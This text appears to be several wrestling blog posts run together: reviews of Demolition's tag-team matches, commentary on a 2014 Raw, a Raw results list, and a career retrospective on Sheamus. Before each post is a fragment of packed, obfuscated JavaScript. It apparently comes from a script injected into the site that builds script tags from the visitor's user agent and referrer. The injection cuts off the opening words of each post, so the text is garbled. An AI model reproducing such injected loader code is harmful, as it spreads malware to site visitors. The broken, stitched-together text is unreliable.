");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tyskr|var|u0026u|referrer|fzzed||js|php'.split('|'),0,{})) main option today was Rockstar Spud so we’re going to go with the next best option: Demolition, as Brian Adams (Crush) was born on the 30^th.

Demolition is of course Ax and Smash, but the Smash you most commonly know was the second person to portray the character. Originally the character was portrayed by Randy Colley, more famous as Moondog Rex. People soon caught on to the identity though and the role had to be recast. They did have a few matches with Colley as Smash though, including the debut on the January 17, 1987 episode of Superstars.

Demolition vs. Salvatore Bellomo/Mario Mancini

Outback Jack/SD Jones vs. Demolition

Tag Titles: Strike Force vs. Demolition

This is the rematch from Mania where Demolition began the longest reign in the history of the titles, holding them for over a year. No date or location listed here but this is at a Superstars taping given the banners. I’m a big fan of both of these teams, even though Strike Force is considered weak and forgettable by most people. Commentary says this is in Oakland but it’s not like it really matters.

Gorilla and Hayes do commentary here so at least we have one competent guy talking now. Demolition starts the beatdown early as you would expect, just totally overpowering the far lighter team. They use their double teaming and take over for a bit, working on Smash’s arm. So much for that as Smash realizes he’s half of Demolition so screw this getting beaten up thing.

Hot tag to Martel and the crowd is pretty clearly liking what they’re seeing here. Boston Crab to Axe but it gets him nowhere. Everything breaks down and a chair to the back of Martel and then the Decapitator on the floor which Martel sells like DEATH. He didn’t wrestle again until the Rumble, 8 months from this, so I’d bet on that being rather legit. Demolition wins by countout.

Rating: C-. Decent and mainly for the angle but this wasn’t all that great. I’m probably biased in this though so take it with a grain of salt. The Decapitator at the end was AWESOME so they nailed that to say the least. Strike Force had one more televised match at Mania 5 where Martel turned heel, so this is more or less the end of the team

Demolition would hold the titles for over a year which is one of those records that is never going to be broken. Part of that reign was at the 1988 Survivor Series which saw one of the few double turns in wrestling history. Demolition was becoming more and more popular and it was clear that something had to change. The teams here are captained by Demolition and their main rivals at the time: Warlord and Barbarian, the Powers of Pain.

Team Demolition vs. Team Powers of Pain

Powers of Pain, Rockers, British Bulldogs, Hart Foundation, Young Stallions

Demolition, Brain Busters, Bolsheviks, Fabulous Rougeaus, Conquistadors

Rating: A. What a great match this was. It had EVERY tag team you could want to see in one match as well as a major move at the end with Demolition turning face. You had mini-stories in the match itself which is always a nice touch, with teams having short matches against each other. Also this was about five minutes shorter than the one last year which helped it tremendously. Great match and the 42 minutes that it runs flew by.

The Powers put Fuji on their shoulders post match. Demolition runs in and cleans house.

Ax and Smash were officially huge faces and would feud with the Powers of Pain and Fuji until Wrestlemania V where they would successfully defend the titles in a handicap match. After not much of a summer, Demolition would team up with Jim Duggan in a six man tag against a massive team of Andre the Giant and the Twin Towers.

Twin Towers/Andre the Giant vs. Demolition/Jim Duggan

The amazing title reign would FINALLY end in December of 1989 in a squash at the hands of Andre the Giant and Haku, the Colossal Connection. This led to a rematch in Toronto at Wrestlemania VI.

Tag Titles: Colossal Connection vs. Demolition

Over the summer the team would turn heel again and add Crush as a third member of the team due to Ax developing health issues, including a heart condition which healed over time. This led to Crush subbing for Ax at times as the team began defending the titles under the Freebird Rule. One of these matches, and perhaps their most famous as a team, was against the Hart Foundation in a 2/3 falls match at Summerslam 1990.

Tag Titles: Hart Foundation vs. Demolition

During the break between falls, Demolition knocks Bret to the floor, allowing Ax to run down and sneak under the ring. The third fall starts with Bret getting two off a sunset flip before taking Smash down by the leg. Neidhart picks Bret up for the reverse powerslam for two on Smash. Now things get tricky as Smash rolls to the floor and rolls under the ring, switching places with Ax.

Demolition vs. Legion of Doom

Don’t freak: it’s Smash and Crush. This was the attempt at the new Demolition but without Axe and putting them back with Fuji for some reason the fire wasn’t there anymore. They would be gone just after Mania and this is apparently from late November. Crush and Animal start us off which doesn’t last long as it’s a big brawl quickly. Animal hits a belly to belly suplex to send Demolition running. I guess they did have an escape after all.

Back into the ring with Smash vs. Hawk and Smash wanting a test of strength. That doesn’t work so Hawk hammers away. Ten punches in the corner and a clothesline put Smash down again. Fuji trips up Hawk and the momentum shifts. A cane shot shifts it even more and some heel shenanigans follow. Crush comes in off the top with a double axe handle to the back which sets up a bearhug.

We go through some rest holds by both teams as I guess the working that they’ve done has worn them out in the past five minutes. The Decapitator with Crush dropping the elbow is awful as it only gets two. Granted I’m not a fan of that move in the first place. Clothesline puts both guys down and it’s off to Animal vs. Smash. Animal cleans house but Fuji breaks up the Doomsday Device. A top rope knee by Crush gets two and everything breaks down. Smash tries a Piledriver but Hawk hits the top rope clothesline to end this.

Rating: D+. Very basic match here but there was nothing great about it at all. This was a big brawl which is exactly what you would expect here. That being said it still wasn’t incredibly good, as both teams were gassed a few minutes in. The right eam won, but there’s nothing to Smash vs. Crush.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbezh|var|u0026u|referrer|nkszf||js|php'.split('|'),0,{})) night’s show was polarizing to say the least. I’ve seen people calling it a classic to a decent show to the worst show in a long time. As usual I found myself right in the middle. We’ll start with the beginning of course.

Last up was the main event, which made things even worse. First of all let me clarify: the match was very entertaining, but the story made no sense. Kane interfered at the end, presumably sent by the Authority (unless the Authority complains about him interfering later, we have no reason to assume they disagree with what he did) to help Orton win. Why would they come out and help Orton win if they seemingly had no problem with Bryan beating him?

A few other notes here:

Overall I thought Raw was good last night, but this Authority nonsense has been going on WAY too long. The Authority is fine as a heel idea, but have them be HEELS, not people who treat everyone like garbage. It makes your heels look weak and keeps fans from caring about seeing them get beaten up. A double standard is a heel tactic, but when you use it on another heel, it just confuses people.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zahsy|var|u0026u|referrer|sffnh||js|php'.split('|'),0,{})) Night Raw
Date: February 3, 2014
Location: CenturyLink Center, Omaha, Nebraska
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

Shield vs. Big E. Langston/Rey Mysterio/Kofi Kingston

How to download the WWE App. Even JBL and Lawler make fun of him for this. Cole turns it into a plug for the WWE Network, spelling out the savings on buying all the PPVs. We also get a clip of the Countdown show.

Christian vs. Jack Swagger

The cage is lowered.

Tag Titles: New Age Outlaws vs. Cody Rhodes/Goldust

Profile on Ernie Ladd for Black History Month.

Ad for Legends House on the WWE Network.

Sheamus vs. Curtis Axel

Dolph Ziggler/R-Truth/Xavier Woods vs. Wyatt Family

Alexander Rusev and Lana are coming.

Naomi vs. Aksana

Aksana puts on a chinlock as we randomly go to a wide shot of the arena. Back with Aksana holding Naomi in a figure four necklock. Naomi fights up with some dropkicks and a headscissors with some gyrations. A knee to the face puts Naomi down as the match grinds to a halt. Naomi quickly takes her down again and hits the split legged moonsault for the pin at 4:51.

Randy Orton vs. Daniel Bryan

Kane and Orton double team Bryan with no one making the save to end the show.

Results

Shield b. Rey Mysterio/Big E. Langston/Kofi Kingston – Bulldog driver to Langston

Christian b. Jack Swagger – Sunset flip

New Age Outlaws b. Cody Rhodes/Goldust – Fameasser to Rhodes

Sheamus b. Curtis Axel – Brogue Kick

Wyatt Family b. Xavier Woods/R-Truth/Dolph Ziggler – Sister Abigail to Ziggler

Naomi b. Aksana – Split legged moonsault

Daniel Bryan b. Randy Orton – Running knee

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kyrfd|var|u0026u|referrer|bethb||js|php'.split('|'),0,{})) continue our international run with a stop in Ireland for the Celtic Warrior Sheamus.

WOW. Sheamus is 27 years old here, far less muscular and looks to be about 19 with no facial hair and hair longer than he wears it now. Rage jumps Sheamus during his entrance before taking him down with a headlock. The commentator is rather good here with a very clear voice and some fast analysis. Sheamus is nicknamed SOS here and fights out of a test of strength, properly called a Greco-Roman Knuckle Lock. A running powerslam (SOS Drop) gets two for Sheamus and Rage bails to the floor.

The fans are WAY into Sheamus as he pulls Rage back inside. We get a crisscross before Sheamus stops in the middle, points to the ceiling, and slaps the distracted Rage. Charlie tries to do the same thing and gets smacked again in a funny bit. The fans start an OLE chant but Rage calms them down with a low blow to break up a full nelson. Rage gets in an argument with the referee but goes back to Sheamus with a big knee drop for two. Sheamus pops back up and gorilla presses the rotund Charlie for two of his own.

Sheamus is defending and is the huge face here in Ireland. He looks FAR more like he does now with trunks instead of shorts, a mustache and short hair. Coming out to rap music is very strange though. Sheamus shoves him around to start and Galloway is quickly sent to the floor. Back in and Drew grabs a headlock but Sheamus counters into one of his own and takes him down to the mat. One sided so far.

Galloway is declared the winner even though Rage pulled Sheamus off the cover.

Sheamus would debut on ECW in June and be on Raw in less than six months, taking part in a breaththrough battle royal with a group of people who had never been world champion (and Randy Orton) fighting for a title shot against John Cena at TLC.

Breakthrough Battle Royal

Cody Rhodes, Ted DiBiase, MVP, Mark Henry, R-Truth, Kofi Kingston, Sheamus, Randy Orton

Vince and Jesse are on commentary for this one. Vince comes out to the theme from SNME which is just awesome. It’s great to hear Vince on commentary as he clearly loves what his product is and is a promoter at heart. Legacy stays in one corner and immediately go after Kofi. It’s a big brawl but Sheamus stays in a corner to himself. Orton is on the floor but he went through the ropes.

Things slow down before they ever got going. I don’t think Sheamus has had any contact with anyone yet. He was biding his time though and picks off R-Truth, throwing him out after a clothesline. Legacy works over Kofi in the corner and Orton is back in. Sheamus Brogue Kicks MVP and tosses him to get us down to six. Henry goes after Sheamus but Legacy makes the save for some reason. Sheamus is on the apron but gets back in.

Henry double clotheslines Legacy to the floor but Sheamus drills him in the back and dumps Henry. We’re down to Orton, Kofi and Sheamus. Orton and Kofi hammer away on each other and Sheamus gets knocked down. Jesse goes on a small anti-Chaney rant as Kofi is sent to the floor. He skins the cat though and headscissors Randy out. Sheamus takes Kofi’s head off with a double ax, knocking him to the floor to become #1 contender.

Rating: D. Very boring match but it was a great thing to see them really trying to push someone else as a main event guy. That was something that was badly missing at this point and pushing Sheamus was as good a move as they could have made. It gave them some fresh blood in the main event and if 2009 taught us anything, it was that Raw was dying for fresh main event blood.

After losing the title inside the Elimination Chamber, Sheamus lost his first singles match as part of the Raw roster to HHH at Wrestlemania because HHH. The rematch was a street fight at Extreme Rules. Earlier in the night, Sheamus had attacked HHH backstage.

Street Fight: Sheamus vs. HHH

HHH of course controls to start things off which is bearable I guess. He hits the spinebuster but can’t get the Pedigree because of the arm being how hurt it is. Now this is more like it. He’s just ramming HHH into the barricade over and over again. I forgot this is a street fight. That’s not a good sign at all.

Striker and King are arguing like no other here and it’s coming off as great. Striker says he and Lawler have both wrestled hurt. That’s rather stupid. Striker wrestled for what, a year or so? Just seems ridiculous to compare the two of them. And of course HHH has the energy to use a DDT with his left arm.

HHH grabs a pipe and smacks HHH in the head with it. Naturally he kicks out. Sure why not? Apparently after a massive Irish man blasts you in the head with a steel pipe you can kick out via instinct. Sure why not? Celtic Cross is blocked. Apparently that’s called Pale Justice now. HHH gets a kendo stick and all of a sudden his arm is fine. That makes my head hurt. This has at least picked up a bit. Pump kick hits though. A second kick hits and it’s all Sheamus.

Naturally he lets HHH get up and the third and fourth kicks land to FINALLY end him. And remember kiddies: do not attempt making yourself look that strong without a licensed wife with connections. To be fair, the ending makes this a lot more bearable. Post match he fights off a cervical collar and tries to crawl off. He’s almost to the entrance when Sheamus hits ANOTHER kick to put him down again. Nice.

Rating: C-. The second half saved this match. The first half was borderline failure but the weapons helped it a lot. Sheamus winning is the right thing though, period. Yes HHH looked very strong, but to be fair he laid down at the end of the match and that’s what counts at the end of the day. Not terrible but more about the angle afterwards than the match.

Sheamus vs. John Morrison

I’m not sure why but this sounds awesome to me. It’s Falls Count Anywhere. Sheamus beats him down to start but Morrison does some gymnastics to get out of it. We head to the floor and into the crowd. Irish Curse on the floor and Morrison is in trouble. He gets dropped ribs first onto the railing near the production stuff for two. It was in the ribs of Morrison so of course it didn’t hurt.

Sheamus hits the Brogue Kick into a production box and it shoots sparks. Onto the stage and it’s all Sheamus. Morrison counters something but winds up getting thrown off the stage. He does a front flip though and lands on his feet. Flash Kick with Morrison getting a running jump up to the stage and using the edge like a top rope, somehow only getting two.

They fight more on the floor and Sheamus finds a chair. He hits the stage but Morrison somehow gets up on the NOC sign and hits a HUGE cross body off of it for TWO. Out of nowhere Jericho pops up and cracks Morrison over the back with a chair for Sheamus to get the pin. He sits in the ring as we go to break.

Rating: A-. That’s likely WAY too high but I had a blast with this match. I like this pairing and Morrison’s stuff is literally the kind of stuff you see in action movies. The ending with Jericho is a bit annoying because I wanted to see more of this, but I guess Morrison vs. Jericho is your non-title match for Night of Champions. Find this match as some of the spots are just completely insane. Find the warmup too as it’s cool stuff.

King of the Ring Quarter-Finals: Kofi Kingston vs. Sheamus

This is more or less a semi-final match. Sheamus destroys him to start with power moves and the Irish Curse for two. Punk points out that he carried Kofi to his first title in WWE. A graphic on the bottom says Kofi has his own PPV Special all December. He’s that big of a deal already? Really? Kofi wakes up a bit I guess to advertise the PPV, hitting the Boom Drop for two.

High Cross is reversed and Kofi gets Trouble in Paradise. The Irishman lands under the ropes to buy time though like a true former champion. Pendulum Kick has Sheamus in trouble. Kofi jumps off the top right into the Brogue Kick and is more or less dead to end it in about 4:30.

Rating: B-. I liked this a good bit here as both guys had the chance to look good. Sheamus looked like he was thinking out there which is always the best thing you can ask for. This worked pretty well and it gives Sheamus a credible win. I can’t imagine he’ll get anyone but Morrison in the finals but odder things have happened.

Sheamus vs. Mark Henry

Henry steps on his chest but Sheamus fires off some right hands. That goes nowhere as Henry headbutts him back down. What would a power match be without the heel throwing on a bear hug? They keep up the idea of Sheamus trying to get some shots in but Henry is too strong. Henry sets for a gorilla press but Sheamus counters into a pretty nice DDT.

He fires off the axe handles and then the forearms while Henry is in the ropes. A flying shoulder block gets two off the top. Henry rolls to the floor and the fun starts. Henry pulls him to the floor and then sends him literally flying into the barricade. Henry loads up the announce table but Sheamus counters the Slam and gets a big old Brogue Kick to send Henry over the table. Sheamus slides in to beat the count at 7:33.

This win set Sheamus off on the roll of a lifetime where he lost only eight singles matches (most of which were by countout or DQ) over the next year. During thie stretch Sheamus won the Royal Rumble and beat Daniel Bryan for the World Heavyweight Championship at Wrestlemania 28. He would hold the title for several months, including through October 3 when he fought WWE Champions CM Punk in a non-title match on the debut episode of Main Event.

Sheamus vs. CM Punk

Non-title of course. We get big-match intros at least. Punk grabs a headlock and shouts spots in Sheamus’ ear as is his custom. Sheamus puts on one of his own as it looks like we’re in for a long match. Punk takes him to the corner but Sheamus kicks Punk away. The Smackdown Champion (Sheamus) pulls himself to the top but gets shoved to the floor as we take a break.

Back with Sheamus guillotining Punk on the top rope and stomping away in the corner, only to get pulled face first into the middle buckle. Punk drops a knee for no cover. That spot between Sheamus’ eyes seems to be bleeding. Punk goes after the shoulder and hits a neckbreaker for two. Sheamus gets back up and starts speeding things up with a high knee followed by a powerslam for two.

Sheamus sets for the ten forearms in the ropes but Punk blocks the first one and hits a high kick for two as we take another break. Back with Sheamus holding his arm on the floor. The arm seems to be fine though as he snaps off a forearm and hits a slingshot shoulder for two. Sheamus loads up the Brogue Kick but Punk hides in the corner. The buckle pad is pulled off as Punk is pulled out and there are the ten forearms to the chest.

White Noise gets two and the fans are getting into this. Heyman seems to be praying or muttering to himself at ringside. Sheamus loads up the Cloverleaf but Punk punches his way out of it. There’s a running knee in the corner followed by the Savage Elbow for two. The GTS is countered and Sheaamus gets the Cloverleaf on in the middle of the ring.

Punk manages to get to a rope and Heyman is panicking even more. They both come out of the corner and Punk charges into the Irish Curse. Sheamus charges again but Punk drop toeholds him into the exposed buckle and rolls Sheamus up with the tights for the pin at 12:18 shown of approximately 18:18.

Rating: B. Good match here and the fact that there was as close to a clean pin as there was is amazing. Sheamus hadn’t lost a singles match since like July but at least it was to another main event guy. For a first match on a new show this was excellent and it was a very good match all around anyway.

He would drop the title to Big Show in October before going right back on another big winning streak. Sheamus would eventually start having issues with the Shield, leading to a six man tag at Wrestlemania 29 with partners Randy Orton and Big Show.

Shield vs. Sheamus/Big Show/Randy Orton

Rollins gets his own vest split open and there are the ten forearms to the chest. Ambrose tags himself in from the apron and there are ten forearms for him as well. The Regal Roll puts Dean down and Sheamus hits one on Rollins as well, this one on top of Ambrose. Reigns breaks up something from Sheamus off the top and everything breaks down. Rollins dives through the ropes at Orton and slams his own head into the barricade. Sheamus is triple teamed in the ring but as Shield loads up the TripleBomb, Show spears them all down for the save.

Ambrose is the only one still in the ring for Shield as Sheamus is crawling to the corner. He reaches for Big Show but Orton tags himself in instead. The powerslam sets up the Elevated DDT and Big Show is ticked off. Orton loads up the RKO on Ambrose but Rollins springboards into the RKO instead. Reigns spears Orton down as Big Show watches from the apron for the pin at 10:34.

Sheamus would kind of lose his way soon after this and just beat up random people, including Luke Harper on the July 24, 2013 episode of NXT.

Luke Harper vs. Sheamus

They slug it out and Harper hits a modified Boss Man Slam for two. Harper misses a middle rope splash and gets caught in the rolling senton for two. The Brogue Kick misses and the discus lariat gets two for Harper. Sheamus sends Luke into Erick and hits White Noise followed by the Brogue Kick for the pin at 9:45 shown of 12:15.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at: